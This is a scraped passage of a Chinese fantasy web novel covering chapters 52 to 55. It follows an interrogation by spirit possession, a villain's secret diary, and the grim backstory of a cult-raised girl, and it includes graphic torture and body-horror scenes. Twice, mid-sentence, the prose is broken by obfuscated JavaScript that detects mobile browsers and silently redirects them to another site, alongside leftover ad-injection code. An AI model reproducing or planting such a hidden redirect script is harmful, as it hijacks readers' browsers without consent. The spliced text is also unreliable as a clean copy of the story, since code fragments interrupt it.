那么,这位大司宪要如何在尽量不伤害岳婉蓉身体的情况下,拷问出这个夺舍附身的妖女口中的消息呢? 李尧也察觉到了左侧女子投来的好奇目光,他脸色不变,只忽然开始将右手所带护手取下。 银色护手解开落下,在桌上碰撞出一声巨响,男子露出一只……千疮百孔的右手。 姚珍珍有些吃惊的睁大了眼睛。 那是真正意义上的千疮百孔,男人宽大的手背上遍布着密密麻麻的深黑印戳,不知是用何种工具所刺,大小形状皆有不同,但都穿透了他本来的肌肤,露出里面刻着不同法纹的血肉来。 “去。”男子忽然开口命令,姚珍珍眼看着一道黑影从他手背上一处印戳中升腾而起,旋即下一秒,细长黑影迅速划过空中,窜进了中央刑床上,昏迷的女孩眉心中。 “咯啦”一声脆响,是姚珍珍在惊愕中捏紧了手中油纸包。 她已经认出了李尧手上的是什么了。 那黑影既细且长,游动时身躯扭动灵活——那是一只妖灵。 ……一只蛇妖的妖灵,若要描述的更详细些,那是一条来自被前任妖王幸黎所奴役灭绝的语盲蛇。 姚珍珍曾与蛇妖葛胥交好,知晓其下属的许多蛇妖的脾性与能力,其中便包括了这语盲蛇。 “语盲?他们很温顺,不爱争斗,”那个总是很懒散的大妖是这么说的,“但可不要被语盲入侵心脉。” “语盲会顺着心脉控制你的身体与神魂。” “嗯,是不是和蛊很像?” 葛胥妖异的碧色瞳孔愉悦地竖起,即使过去如此之久,姚珍珍还能回忆起他那张虽然美丽却总有些怪异的面孔。 “因为很多炼蛊所用的基材,用的便是语盲的脊椎啊。” 语盲早已被幸黎灭种,葛胥曾为此大发雷霆,如今李尧右手上的妖灵是何处而来的? 姚珍珍的心头霎时间转过许多念头。 她的表情变化实在是明显,坐在她对面的燕鸣臻不由得看了她许久,双唇抿起似乎是担忧。 汤容林却没空注意这俩人间暗流涌动的神情,他有些怕蛇,主座男子一解开护手他便抬手掩面,直到李尧将取下的护手重新戴上,他才挪开了遮眼的手臂。 李尧也没心思注意其他,御灵之术需全心贯注,他浓而粗的长眉拧起,目光紧盯着堂下昏迷女孩,直到黑色妖灵完全没入对方眉心。 女孩的身体忽然抽搐了一下,四肢随即开始疯狂弹动,双腿并拢如蛇般扭动翻滚,好一会儿才安静下去。 “呼……”李尧长出一口气,放下了手。 刑床中,女孩忽然慢慢睁开了眼睛。 姚珍珍与她目光对视,不由得轻轻“嘶”了一声。 金冠女孩睁开的眼睛中已不再是人类的圆形眼瞳,而是通体碧绿,只在正中是长椭圆形的一条深黑色。 ——那是一对竖着的蛇瞳。 52. 刑求 女孩睁开了一对蛇瞳,发出一声尖细的笑声。 “大人,这可有点挤呀。”她说话的声音依然是女孩带些稚嫩的音色,可语气停顿的顿挫都与先前姚珍珍遇见她时完全不同,短短几个字被她开口说出,竟然颇有吐气如兰般的慵懒感觉。 一边半真不假地抱怨着,女孩一边将手腕从扣着的枷锁中抽了出来——她浑身的骨骼好像忽然融化了,肢体柔软到不可思议的程度,游鱼一样便挣脱了镣铐,翻身坐了起来。 女孩光裸的小腿并拢,柔若无骨般盘起在身下。 “啊呀,”女孩的目光从上首坐着的四人面上扫过,不受控制地停留在了燕鸣臻的脸上,顿时发出一声小小的惊呼,“这位大人倒是生得……” 她啧啧感叹几声,硬是没能找出一个合适的词语来形容,只是盯着一边面色不变的青年,一双碧色蛇瞳狡黠地半眯起来。 李尧没理会妖灵的调笑,他布满印戳的右手平平伸出,手心向上。 “告诉我,她的名字。” 女孩盈盈的笑脸一下收敛了起来,碧色的瞳孔在室内亮起幽幽的冷光。 “大人,这里面可有两个人……你想知道哪一个的名字?”她说。 在场几人的脸上霎时露出不同程度的喜色。 ——语盲妖灵如此回答,说明岳婉容本人的神魂如今尚在体内,并未完全消散,若能拷问出更多细节,或许还能挽救! 李尧的脸上神色也是一动。 “我要知道更强大些的那个神魂之人的名字。”他思忖片刻,如此回答到。 驭使妖灵之法限制颇多,短时间难以施展多次,李尧不得不慎重对待。 这个女童的身体之前一直是受那净莲教妖女控制,想来她体内岳婉容的神魂已然羸弱,若要审问妖女,只要让语盲去控制更强些的神魂便是。 “是。”女孩咯咯地娇笑了一声,碧色眼瞳中随即亮起层叠的灵光。 “我的名字是……”她低下头,声音幽幽响起在室内。 再次抬起头时,女孩脸上娇俏的神色已全然褪去,碧色眼瞳直视主座上的男人紧盯自己的双眸。 “我是岳婉容。” *** 半个时辰前。 “什么?你让我一个人去?”少年的声音响起。 黎金铃头顿时摇得像个拨浪鼓,头顶发髻中各色配饰随着动作叮当一阵乱响。 姚珍珍一手摁住了这个拨浪鼓。 “不是一个人,殿下会派可靠之人保护你,光天化日,你们走官道过去,来去不过半个时辰,不会出事的。” 少年有些犹豫地咬住了嘴唇。 “可为什么要去找她……”他手指绞缠在一起,似乎有些不知如何启齿,“我还没有准备好……” 姚珍珍简直一个头两个大。 “你还要准备什么?”她莫名其妙道,“只是去鲤乐馆一趟,请那位大师姐一同前来玄机处而已,有什么好准备的?” 黎金铃却不像之前一样撒泼或者闹腾,只是扭捏地低头对着手指。 “我是第一次见她呀,怎么都得留个好印象吧……”黎金铃的眼神飘忽了起来,“焚香沐浴总是必须的,衣裳也得换一件……唔唔!” 姚珍珍忍无可忍,一手把他聒噪的嘴捏住了。 “你们是哪门子的第一次见?”她心里纳闷,手上还不消停,把对方嘴巴捏成了鸭子形状,“早在黎氏祖地见过吧?你那时候还扎羊角辫呢,这会儿充什么大尾巴狼?” 黎金铃的白瞳一下转向了她。 “你是怎么知道的?”他愕然开口。 “……三殿下告诉我的,”姚珍珍毫无压力的推出了燕鸣臻当挡箭牌,又强行将话题转了回来,“这样,你替我去一次,之后我保你安全到仙试结束,如何?” “……成交。” *** “我是岳婉容。” 室内霎时一片寂静。 “怎么,竟然还是岳姑娘……?”还是汤容林最先开口。 李尧眉心皱起,此情此景确实超出了他的预料,语盲蛇短时间无法更换所寄生的神魂,此刻也无法再换人,他只能开口。 “岳姑娘,我是玄机处大司宪李尧,”他言简意赅道,“你可还记得自己如今处境么?” “……我知道,”女孩不复方才轻佻的姿态,而是坐直了身体,双手放在膝上,姿态娴静,神情却很坚毅,“李司宪,我的时间并不多,让你的妖灵放开对我的控制吧,我不会反抗的。” 李尧点了点头,右手手掌合拢,掌心中闪过淡淡灵光。 女孩脸上神情顿时松快许多——蛇灵的压制被解开了。 “通神金冠会不断侵蚀我的神魂,这条语盲蛇的术法能让我暂时清醒,但这个时间不会太久,我只能长话短说。” 李尧面容凝重了起来,室内几人都面色紧绷,谁也没有开口,而是静静注视着中央跪坐着的女孩。 “我与兄长被净莲教掳走后,他们将掳走的孩子分批送去''受肉''。”女孩的语调依然是稳定的,说到最后两个字时,搁在膝头的手指却不受控制的痉挛了一下,似乎是触发了某些条件反射。 “因为上一次的仪式失败,他们这次决定全部选择女童进行仪式,我的兄长因此被杀害……”她的拳头攥了起来,话语停顿了一下,但很快继续了下去。 “参与受肉仪式的一个女孩,弥弥,她是点燃净莲妖火的祸首之女,她违抗了父亲的命令,想要将我们这些容器放走,于是也被送来做了祭品……” 姚珍珍有些不忍心的垂下了眼睛。 她已经大概能猜出一部分了。 “弥弥死在了仪式现场,之后他们给我戴上了金冠,我……呃!” 女孩忽然捂住了自己的右眼,发出一声痛呼。 “……我把弥弥的神魂留在了我的身体里,她失去了很多记忆,也不知道自己的仪式失败了,”女孩手指依然捂着眼睛,语速逐渐加快了,“通神金冠的本质是将人的身体改造成一个容器,它会不断折磨容器里的灵魂,直到身体的主人溃败服从为止……” “我能清醒的时间不多,弥弥的兄长波留斯为了救我与弥弥,一直在炼制食人钩,你们要去阻止他……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “波留斯已经死了。”李尧忽然开口道。 岳婉蓉的身体陡然一僵,缓缓松开了捂着眼睛的手掌。 “死了?”她的肩膀垮了下来,像是脱力,又像是放弃,“……是我太久没有醒过了。” “死了……死了就好。” “……” “他们在定流坡底下尝试复活当初死去的那条恶蛟,想要令它复生然后化龙取髓,为此偷偷运来了许多妖兽用于饲喂它,我不知道是谁主导了这件事,但恶蛟一旦复生后果难以估量,你们需要尽早——” “恶蛟也已死了。”这次说话的是燕鸣臻,他的语调很平淡,一边说,一边看了坐在对面面沉如水的姚珍珍一眼。 “定流坡地底洞穴中藏匿的妖兽有部分溃逃在外,但已在追剿中了,岳姑娘,你可以暂且宽心。”汤容林适时补充道,见女孩脸色不好,他开口多宽慰了对方一句。 岳婉蓉的脸上露出显而易见的愕然。 这个隐匿在昭华城附近地底中的大麻烦一直是压在她心头的一块巨石,如今却好像已被轻易解决了,她不由得一时愣神。 “你一直在为他人操心……”姚珍珍忽然轻轻叹气,“岳姑娘,你自己呢?我们能为你做点什么?” 女孩的睁大的左眼中忽然泛起盈盈水光。 “我……”她伸手想擦去自己的眼睛,却只是将更多泪水抹开,“……我没事的,如果可以,还请你们救一下弥弥,她记忆有损,虽然性格执拗,但本心并不坏……” “岳婉容!”姚珍珍忽然大声喊了她的名字,强行打断了她的话。 “通神金冠并非不可逆,我不知道你有没有听说过,”她站了起来,紧紧盯着对方的眼睛,“墨展宗曾有一个孩子,同样是被净莲教掳走,戴上金冠生活了十二年,直到被人救出。” “他现在还活着,能笑能哭……当年我们能救回他,如今也能救回你。” “你的父亲,岳掌门正在赶来的路上,你真要就此放弃么?” 岳婉容盈满泪水的眼睛怔怔与她对视许久,忽然一下崩溃了。 女孩的哭泣从哽咽到嚎啕,仿佛憋得太久,一下难以控制。 “父亲……我想……”她的脸完全哭花了,眉眼皱起,形容狼狈,完全没有之前的冷静自持,“……我想回家。” 汤容林提起袖子擦了擦眼角,转头看向主座上绷着脸的李尧。 男子的眉紧紧皱着,他盯着堂下女孩哭得红肿的眼睛,脸上表情像是一张焊死的假面一般凝固了。 “……我会令人去请黎司药来。”良久,他终于开口。 燕鸣臻伸出手,指节在面前桌面上轻轻敲了敲。 “我想,他们应当已经在审讯室外等候了,”他与对面站着的姚珍珍对视,两人目光中是相似的神色,“你说是吗?白姑娘。” “真的?太好了!李司宪,审讯之事先放一放,岳姑娘如今情况不宜再拖延……” 李尧的手指捏住了一支浅绿的令牌,轻轻掷出。 封闭的石门打开,伏在刑床上的岳婉容回过头,在朦胧的泪眼中,看见了久违的新日。 53. 外篇 她走之后 中 洛萍。 这里已是完全的遗迹。 当年陆眉山教学的剑坪连基石都被人砸碎了搬走不少,要在如此破败的地方布阵,的确需要花费许多的心力。 但是没关系,我如今有的最多的就是时间。 根据那位药师所说,这里就是珍珍长大的地方。 我已经寻不到她的去处了……只能去寻她的来处。 想要重现往日,需要的不止是阵法,还需要承载了过往的大量法器……这并不是很难。 当年书院分裂时,父皇也在其中分了一杯羹,想来内库里还有不少那时的战利品。 …… 还需要什么……蜃兽的心? 南陆如今所剩活着的蜃兽已不多了。 ……仙官试所用的那只蜃兽已经很年迈了,若是就此死去,也很合适,不是吗? ……废了一些周折,最终还是凑齐了材料。 但临到此刻,我却又犹疑了。 我真的做好准备,去面对她的过去了吗? …… 原来洛萍书院是这样的。 这里有很多人,非常多。 我从没见过如此多的人,能同时怀着一样的心。 但这都不重要。 珍珍在哪? …… 我找到陆眉山了,他与我想象的不太一样。 他在云海中豢养了一只蜃兽……是了,我想起来了,珍珍曾经提过,她进入过陆院长的蜃梦。 陆眉山死后,这只蜃去哪里了?……或许之后我应该去云海中找一找它。 我跟着他去了书院的医药部。 但我没有见到珍珍,她好像不在这里。 身边走过去的弟子在谈论些闹鬼的传说,说什么每逢十五便有鬼怪作祟厉嚎……可笑。 人死则魂散,便真有鬼怪,不过是一张符箓就可解决的事情。 …… 我已经在这个幻境中待了两日。 医药部的药师们每日就是试药,陆眉山每天只会习剑和发呆。 珍珍呢? 我检视过院内每一个病患,没有一个与她相似的。 没有人提过她,没人知道有一个叫“姚珍珍”的女孩。 她在哪里? …… 今日就是十五了。 我也听见了。 的确是惨烈的呼号……是从医药部中传来的。 ……是她。 原来每逢月圆,那个在书院内彻夜惨叫的人是她。 是我的…… 是我的珍珍。 …… “她的伤太重了,我只能把她的神魂剥离身体,放到蜃兽的肚腹中静养。” “神魂离体太久会消散,每月十五,她必须要回归原来的身体。” “是的,我们在试着为她重塑肉身。” “我们会成功的,这是院长的意思,不计代价。” “治好她。” …… 她的全身都被铁水熔毁了。 他们根本不是在治疗,而是在无中生有重新为她造一具身体。 是谁……是谁? 她还那么小…… 是谁这样伤她? 陆眉山已死,当年之事还有谁知道? 我必须离开了,幻境正在崩溃。 …… 离开前,再去看她一眼。 今日不是十五,她的灵魂应该还在蜃兽腹中安眠吧? 原来血池里漂着的这些就是…… 定然是痛不欲生的,可她从没有提起过这些。 ……陆眉山,是他取走了珍珍的记忆。 或许这是好事。 只是看一眼都要让人崩溃,若珍珍想起了这些记忆…… 不,不能让她想起来。 我得离开了。 …… 乾京历十五年三月初七。 明砚宗内乱,净莲教又开始活跃了。 珍珍太久没有出现了,这些人已经要等不及了。 巫尚的情况还是不稳定,墨展宗的人总是投鼠忌器,畏手畏脚。 黎金铃是很好的棋子。 年轻,有天赋,稚嫩…… 只需要轻轻一句话,一个念头。 在他的药里添加一味蜃脂,很有效,不是么? 你就醉死在梦境里吧。 …… 乾京历十五年九月初三。 傀儡太容易被识破了。 竟然有人胆敢在天门坪当众行刺……所幸只是轻伤。 可若是珍珍本人…… 姚淼淼来找我了。 她说当日知情者一个也不能留下。 我早说过,她从来不是什么良善之人。 可笑,珍珍总是说她的师妹孤苦,所以要多加照拂…… 她是剑宗出身的大小姐,姚清和的独女,何来孤苦一说? 珍珍总是很容易被外貌所蒙蔽。 ……幸好她总是被外貌所蒙蔽。 …… 乾京历十五年十一月二十一日。 母亲开始怀疑了。 她认为是我变心了? 不,我永远不会变心的……她也不会。 我只是很久没有见她,母亲便对我大加斥责。 黎氏太需要这柄剑了。 稚童怀揣巨宝行于夜路…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546424|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们敛财的时候,怎么就不曾想起今日呢。 …… 乾京历十六年正月初一日。 今年的仙试依然选在昭华举办,汤容林一早便来找我。 遣人将他赶走了。 我对这些不感兴趣。 云海下的蜃兽踪迹已经有了眉目。 仙试结束,我便亲自去一趟。 …… 父亲点了珍珍做此次的武试裁断。 我们应该拒绝的。 仙试人多眼杂,太容易暴露了。 …… 乾京历十六年一月二十日。 ……黎金铃。 是我小瞧了他。 西崖洲的第一位大司药,如此年轻,如此前途无量。 母亲大抵是不用再担心了。 他毕竟姓黎。 不管血脉如何,姓氏总是不变的。 …… 乾京历十六年一月十七日。 珍珍即将主持武试的消息传出去了。 昭华城来了太多人了。 多得有些出乎我的意料了。 但计划不用变。 洛萍离昭华距离甚远,我得提前准备接应傀儡的船只了。 随行人员?随意吧,不过一具傀儡而已。 …… 乾京历十六年六月十三日。 母亲写了信来。 她说要把黎金铃送来仙试。 她说若是珍珍愿意,他们或许可以见一见。 贪婪。 人心不足。 或许我早该看清她的面目。 明明已经握住了一位司药官,却还觊觎着我的…… 喻勉之是这样,黎金铃也是这样。 …… 不过没关系的。 就让他来吧。 昭华城,很好的地方,可惜了。 来了,就不用走了。 …… 乾京历十六年八月二十七日。 前去接应的船只似乎遇上了麻烦,剑宗那边传信说将会晚半日到港。 与我何干,难道还要我去接那个傀儡么? 汤荣林的胆子越来越大了。 可能是累疯了,倒是难得敢与我对峙了。 找时间敲打一番。 姚淼淼这个疯女人,又要来纠缠不休。 罢了,还不到时间除掉她。 她若再来,我便去司政|府邸躲个清闲罢了。 …… 乾京历十六年八月三十日。 是她。 我不会认错的。 是她回来了。 我…… 我要怎么做? 54. 弥弥 弥弥的人生,从一场死亡开始。 她是个生来便有慧根的孩子,尚在人腹中时便能思考,只是未成形的胎儿所能做到的毕竟有限,她只能通过“母亲”偶尔的只言片语来获取有关外界的信息。 是的,她所栖身的“母亲”似乎是个非常孤僻的人,很少与人交流,很少开口说话……甚至很少动弹。 尚在人腹中的弥弥未能察觉这些异常,她只是觉得“母亲”的声音很低沉,顺着血肉与脐带的震动传进她的骨血里,让她浑身发痒,感觉十分奇异。 她小小的脑子里能记住的东西不多,“母亲”经常会重复同一句话,她记住了那几个词语震颤的频率与音调。 弥弥就这样在温暖的腹腔里沉睡,偶尔随着“母亲”的颤抖而动动手脚。 这种日子一直持续到她出生的那天。 她听见“母亲”一直在重复之前常说的那句话,震动越来越强烈,直到一声“嗤嗤”的闷声响起,来自“母亲”的声音停下了,弥弥感觉到有什么东西碰到了自己。 “是个女孩。”那个将她抱起来的女人扯开包裹婴儿的襁褓,观察了一下弥弥的身体,这么说道,“没什么问题。” “莲母保佑,”另外一个人做了一个手势,接话道,“这个孕囊不能用了,我去找人来清理。” 刚出生的弥弥听不懂他们的话语,她在刺目的光线中睁开眼睛,第一次,也是最后一次地看见了自己的“母亲”。 一个瘦骨嶙峋的赤|裸人体仰面靠躺在那儿,纤细得有些诡异的四肢只剩下了短短的一截。 弥弥曾经呆过的、高高凸起的腹部现在已经完全干瘪了下去,耷拉下去的皮肉被横着撕扯来开,空荡荡的两片盖在突出的骨骼上,里面稀里糊涂的各种液体与脏器淌了一地,被剖开的肚腹上,是“母亲”苍白平坦、不再起伏的胸膛。 ——弥弥的生身“母亲”,显而易见的,是个男性。 当然,还是婴儿的弥弥并没有任何关于性别的意识,有关“母亲”身份的这件事,是在很久之后,她才想明白的。 彼时她刚刚出生,被人抱着离开死掉的“母亲”,但还本能的留恋母体的温暖,于是她张开了嘴,重复了她时常听见的,“母亲”常说的那句话。 “杀……杀……杀了……我。”婴儿尖细而稚嫩的声音响起在空旷的暗室内。 *** 因为生来便能说话,弥弥受到了“莲母”的重视。 她被送到“莲母”身边抚养,学习如何念诵那些拗口晦涩的咒言,也学习如何奴役那些畸形而丑陋的“贱奴”——他们也是诞生在莲柱下的孩子,只是不如弥弥那么好运,或多或少的,总有些多了或少了的器官。 弥弥本能的厌恶这些形容可怖的“兄弟姐妹”,她学会了一条咒言,只要念诵起来,就能让这些被下了咒缚的奴隶感到痛不欲生。 在“莲母”没空注意她的时候,弥弥会反复地念诵那条用来处罚的咒言,看着那些畸形的怪物在莲池里翻滚哭嚎的样子,觉得十分的快乐。 “莲母”某次发现了她的行为,弥弥被他单手拎着,一路拖拽到莲柱底下。 盛放的巨大肉莲扎根在浑浊的潜水潭中,“莲母”把弥弥的头摁进泛着恶臭的池水中,直到她失去挣扎的力气后才松手。 “我对你还是太仁慈了。”他的声音听起来就像两片锈蚀的铁片在相互摩擦,隔着水面,弥弥听得并不清楚。 但濒死的痛苦是真实的。 弥弥奋力挣扎,但都被铁钳般的大手死死按住,窒息的前一秒,她睁开眼,与水池底下空洞的骷髅对视。 她忽然想起了自己出生时看见的那具赤裸的尸体——她的“母亲”。 净莲教掳掠了许多的人,将他们送进水池中,成为那朵巨大肉莲的食物。 每年的六月,肉莲则不再进食,而是将送来的猎物捆在莲柱下,肉|色的花瓣张开,蛇般狂舞的长长花蕊裹缠住祭品…… 净莲教将那些被选中的祭品称作“孕囊”,他们会在短暂的时间内多次分娩,直到养分耗尽干瘪,被教众们搬走,再次扔进腐臭的水池中,最后变成沉在水底中的白骨。 被惩罚之后,弥弥安分了很久。 直到那对兄妹来到教中。 当日被掳掠而来的祭品有很多,但弥弥一眼就在一堆恸哭哀鸣的人群中瞧见了他们二人——洁白如雪的,闪闪发光的一对兄妹。 “莲母”总是很忙,他要忙着与神灵沟通,忙着与教众交|媾,忙着处理送来的贡品牲祭……弥弥趁机去见了那对漂亮的兄妹。 “你叫什么名字?”她先问了那个女孩,对方好像被她的忽然开口吓了一跳,身体向后缩了一下,只是他们的脖颈上都锁着铁链,挣扎的空间有限,弥弥很轻易地贴到了她面前。 她的眼睛又大又圆,皮肤像剥开的鸡子般白皙,受惊时的姿态也很美,弥弥还闻到了她身上甜甜的香味。 “……你是谁?想做什么?”那个漂亮的女孩很快平静了下来,而她身边那个同样漂亮的男孩伸手拦住了妹妹,先开了口。 他低眉看她,眼神冰冷又警惕,伸出的手指修长,根根分明如玉。 弥弥为这对兄妹而神魂颠倒。 她背着“莲母”偷偷给这对兄妹带去额外的食物,教他们如何解开压制修为的咒缚…… “弥弥,你可以拿到钥匙的,对吗?”那个女孩握住了弥弥的手,那感觉很奇妙,温暖又干燥,与“莲母”冰冷黏腻的触感完全不同。 “我们一起逃走,我会为你找来最好的医者……”他们还在喋喋不休,而弥弥只顾看着自己被握住的手,为了这双手的主人,她愿意付出任何代价。 弥弥选在十五日去偷那把钥匙。 “莲母”会在那天去与“神灵”沟通,之后再与教众转达所得到的神谕。 每次沟通结束,“莲母”都会精疲力尽,十分虚弱,弥弥偷偷加大了他日常所用的药香分量,趁着男人陷入沉睡时,她洑水越过莲池,伸手抓住了系在他后腰的那块令牌。 她几乎就要成功了。 几乎。 只是谁也没想到“莲母”身上还有着另外一张脸。 弥弥解开那块令牌,一抬头,看见了隐藏在“莲母”顺滑的长发之下,另一张畸形的面孔。 双眼如两道裂开的缝隙,鼻子是没有的,代替它的是两个大小不一的孔洞,其下是一张没有牙齿,外翻的嘴唇。 那张长在他后颈上的脸颊盯着她的动作,两条裂开的小眼睛中投射出的是纯然的恶意,嘴巴张开,里面发出了属于女性的尖利叫声。 陷入沉眠的男人一下惊醒,它回过头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583643|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见了莲池中的弥弥,眼神阴沉。 弥弥再一次被“莲母”惩罚了,但这一次他没有再展示仁慈。 她被打上枷锁关进牢笼。 三日后,她被送进祭坛,迎接她的是一顶华美至极的金冠。 长长的金针从颅顶穿过,那种冰冷一直从头顶蔓延到灵魂深处,弥弥很快被无处不在的“神灵”击溃了。 痛得受不了时,弥弥也曾本能地呼救,她先喊了娘亲,池底的骷髅当然不会救她;她又喊了那个少年的名字,可他已经被制成了蛰面偶,埋骨在了邙岭山; 她太虚弱了,最后已经发不出声音了。 弥弥想起最开始她蹲在笼子前,问出的那个问题。 “你叫什么名字?” 她最后想起了那个少女的回答。 ——“我叫岳婉容。” 弥弥死在了出生的莲池里。 *** 岳掌门来得比想象的还要快。 墨展宗的医者还在与黎金铃争论有关岳婉容的治疗方案,这位形容疲惫的修士已在玄机处内见到了她如今的样子。 自从净莲妖火重燃那日起,岳黔生便已立下誓约,要尽诛世间邪物与魔修。 接到来自昭华的消息时,岳黔生正在皮水县内追查 这个满面风霜的男子一见到岳婉容便跪下了。 “……她的情况毕竟与当年宗子不同,”来自墨展宗的医者目光沉沉,“人的神魂并非可随意揉捏的东西,灵肉若不能匹配,强塞进去的神魂只会痛苦万分……” “便是邪修夺舍,也是要以秘法先塑魂,再借机除去原身……” “岳姑娘一直在体内强行容纳另外一人的神魂,这严重消耗了她本身的力量,再加上金冠灌顶……唉,这便是取下金冠,醒来的怕会是那妖女……” 黎金铃也是难得的面色沉郁,双唇不自觉咬紧。 姚珍珍站在她身后,看着岳黔生跪倒的背影,一时无言。 当日审讯她开口留住了岳婉容的一丝求生欲,可如今…… 深深的无力感再度涌上她的心头。 人在脆弱的时候会本能地寻求依靠,她的目光空荡荡地越过低头沉思的几人,与站在人群外的燕鸣臻对上。 青年掩在袖中的手指扣紧了。 他几乎要抑制不住地走上前去,揽着少女的肩膀轻声安慰她……但这是不可能的。 众目睽睽之下,那不是他的珍珍,而是白郁湄。 燕鸣臻右手忽然蜷起,握住了掌心一块尖锐的东西——那是一片鱼鳞,色泽深蓝,点缀熠熠彩光。 人群中忽然传来惊呼。 医者们已将沉重的金冠锯开,一根根取出带血的长钉,每拔出一根,女孩身体便随之抽搐挣扎一下。 岳黔生沉默着按住她的身体,牙根紧咬,眼眶通红。 黎金铃的额角也见了汗,湿透的发丝一缕缕沾在脸颊两侧,他的侍从被隔离在外,也没人敢上前替他擦拭。 姚珍珍收回了目光,皱眉看着已经重新平静下来的女孩。 她头顶的金冠已经完全取出,紧闭的眼皮疯狂颤抖着,就要睁开。 终于,女孩睁开眼,说出了第一句话。 “……她死了。”她说。 弥弥的人生,从另一场死亡开始。 55. 豹满 “在那边!田兄,你走左侧,我们两边包夹!”有人在高声喊叫,但他的声音很快被淹没在层层人浪中。 几个负剑的年轻修士身姿翩然的从街面上几处低矮的铺面掠过,向着另一处的街角而去。 姚珍珍靠在栏杆边,低头看着底下闹腾的一群人,忍不住伸手打了个呵欠。 有个莽撞的年轻人从她头顶屋檐上御剑掠过,女子掀起眼皮看了一眼,从袖中摸出个油纸包。 “啊!” 下一秒,正忙着赶路的御剑少年忽然一个趔趄,身体向前扑去,他洁白道袍背后,一块油亮的琥珀核桃仁正顺着衣料滚落,留下一道褐色的糖渍。 他被这阴险的背后突袭打了个猝不及防,险些从飞剑上滚下去,好容易稳住了身形,立刻便回头,满面愤然。 少年自是怒不可遏,誓要将偷袭之人揪出来狠狠教训一通。 “昭华城内,御剑飞行不可高于两丈,”罪魁祸首却依然靠在栏杆边,施施然地伸手,拍净了掌心坚果碎屑,眼波慵懒的扫过少年因为愠怒而涨红的稚嫩面孔,“怎么?公子竟然不知道么?” 那满面怒色的少年脸色顿时一僵,知道是自己先犯禁,但还是不忿,张口就想要争辩。 只是他还没来及说话,女子身后忽然传来一声怒吼。 “白!郁!湄!你人呢!” 细碎的叮铛铃响一路拾级而上,黎金铃的一双白瞳准确地锁定了正在偷闲的姚珍珍。 御剑的少年也听见了这突然出现的白瞳公子的话语。 黎金铃的面容实在是过于有辨识度了,他一下就反应过来了眼前男女的身份,神色顿时一变,想要开口的话一下卡在了喉咙里。 “你是……你是定流坡那个白……” 姚珍珍颇感无趣地叹了口气。 “真是个祖宗……”她转身,皓白手腕微微一震,“别叫魂了,来了。” 御剑少年只觉眼前一花,一样东西裹挟着劲风已直奔他面门而来! 他面色一正,全身灵力顿时运转如沸,险而又险地接住了女子扔来的东西。 “玄机处正在昭华内四处追凶,公子可别再犯禁了,”姚珍珍摆摆手,转身走向黎金铃,“这个送你了,就算是赔罪。” “昨夜城内有豹满伤人,我要去看看伤者,你同我一起去,”黎金铃听见她的声音,冷哼一声,“随我一起,总比你在这里招猫逗狗强些。” 姚珍珍也不和他拌嘴,右手径直伸向少年光洁白皙的额间,食指弯曲—— “啊!”黎金铃痛呼一声,捂住了额头。 姚珍珍在他脑门上弹了一下,有心收敛,只用了半成的力气。 可黎金铃毕竟身娇肉贵,只是一下,额头还是泛起一片红。 “……走吧。”姚珍珍看他捂着额头又要撒泼,伸手便揪着少年衣襟上一条不知何用的丝绦,像牵着一个华丽耀目的大风筝,拽着就离开了。 只留下窗外御剑的少年还呆呆站着,他低头看手心中对方扔来的东西——那是一个半团起的油纸包,裹着半包琥珀核桃仁,散发着诱人的甜蜜油香。 *** 因为定流坡内受人豢养的妖兽外逃一事,玄机处最近忙得焦头烂额,连带着汤容林这个主政官一起上火着急,肉眼可见的眼下青黑加深许多,任谁见了都要觉得这位司政官是个命不久矣的过劳象。 后来还是寄住沧磐府的姚珍珍看不下去,提议要帮忙去处理那些外逃的妖兽——然后被燕鸣臻否决了。 “城中如今受妖兽私逃一事影响,伤者众多,黎司药免不了忙碌些,他的安危还需要白姑娘多照拂一二,怎好再劳烦姑娘去做这些琐事?”燕鸣臻轻飘飘地一句话,便将黎金铃抬出来做了由头,似乎之前强烈反对姚珍珍为他做护卫的人不是他似的。 否决了姚珍珍的帮忙方案,可汤容林的怨念也实在不可小觑,燕鸣臻思忖片刻,还是为他指明了一条路。 “浣金仙试的初试已告一段落,定流坡内幻境短时间无法修复,”青年眼睫垂下,掩住了眸中晦暗不明的神色,“何不借此机会,便将此次的武试的第二关试题稍作修改?” “玄机处人手不足,可各门各派还有这许多青年才俊……”青年手指搭在额间,轻轻敲打几下,察觉到身边人正在转头看自己,不禁莞尔,未尽之语,便不必再多言了。 汤容林听他一番话,低头思索片刻,因连日疲惫而黯淡的目光顿时一亮。 “我这就去着人拟写一份章程来!”他一拍手,霍然起身,转头就要离开,走到门边才想起不告而别实在失礼,转身对着燕鸣臻合手一礼,又对着一边低头吹着杯中茶叶的姚珍珍点点头,“多谢殿下建言,白姑娘,我这便先回府了。” 姚珍珍无可无不可的点点头,等他离开客室,才将杯中残茶一口饮尽了。 “这些妖兽受人改造,多有性情凶戾的,武试参选者素质良莠不齐,若是……”她犹疑着开口。 燕鸣臻见她牛饮姿态,不由得失笑。 “我这可是今年新采的太平金魁……”他嘴上似乎是抱怨,手中却并不停歇,殷勤小意地又给女子空了的茶盏中重新斟满了淡金色的茶汤,“那些妖兽在城中每多逃窜一日,便是更多人要受威胁伤害,相比起来,还是那些仙门弟子更皮实些吧?” 